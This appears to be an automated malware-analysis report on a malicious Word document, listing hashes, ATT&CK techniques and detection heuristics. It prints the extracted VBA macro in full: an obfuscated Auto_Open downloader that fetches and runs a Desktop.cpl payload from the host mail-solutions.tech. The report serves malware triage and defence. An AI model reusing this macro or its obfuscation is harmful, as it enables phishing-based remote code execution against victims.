Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9b3e01828ee162ea…

MALICIOUS

Office (OOXML)

17.5 KB Created: 2021-04-22 13:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 37f13b6987cc1c14f6694ac6250dab53 SHA-1: 54493103f05e8ff6ed1f4d05c92c57389d596052 SHA-256: 9b3e01828ee162ea0d745482d33eae5e5223ddfbf191bc8bd36a37059548cf89
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample is an OOXML document containing VBA macros, specifically triggering AutoOpen and GetObject heuristics. The Auto_Open macro attempts to copy a file from the UNC path \\mail-solutions.tech\temp\lates\Desktop.cpl and then attempts to execute it via ControlPanelItem using the reconstructed path Environ("appdata") & "\Desktop.cpl". This indicates a macro-based downloader attempting to execute a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1207 bytes
SHA-256: 5c67475b9a98c80716a1e9da0114400524153ad5c1bf7e0a425145674545171b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function ChangeForm()
End Function
If 1 <> 1 Then
    Function FormatDocument(1 as Intenger)
    End Function
End If
Sub Auto_Open()
    lw = ""
    Set No = GetObject("new:{1370" & lw & "962" & lw & "0-C27" & lw & "9-11C" & lw & "E-A4" & lw & "9E-4445" & lw & "5354" & lw & "0000}")
    Set oF = No.NameSpace(Environ("ap" & lw & "pda" & lw & "ta"))
    If Not oF Is Nothing Then
        oF.CopyHere ("\\mail-s" & lw & "olutio" & lw & "ns.tech" & lw & "@SSL\temp" & lw & "lates\Des" & lw & "ktop.cp" & lw & "l"), &H10&
    End If
    No.ControlPanelItem (Environ("ap" & lw & "pda" & lw & "ta") & "\Desktop.cp" & lw & "l")

    ActiveDocument.Sections(1).Headers(1).Range.Font.Hidden = False
    ActiveDocument.Range.Font.Hidden = False
    ActiveDocument.Bookmarks("o365").Range.Font.Hidden = True
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: c5b3da0bd58bf818d5a060e23752913825ca4075119ae9be17b435856b52284b

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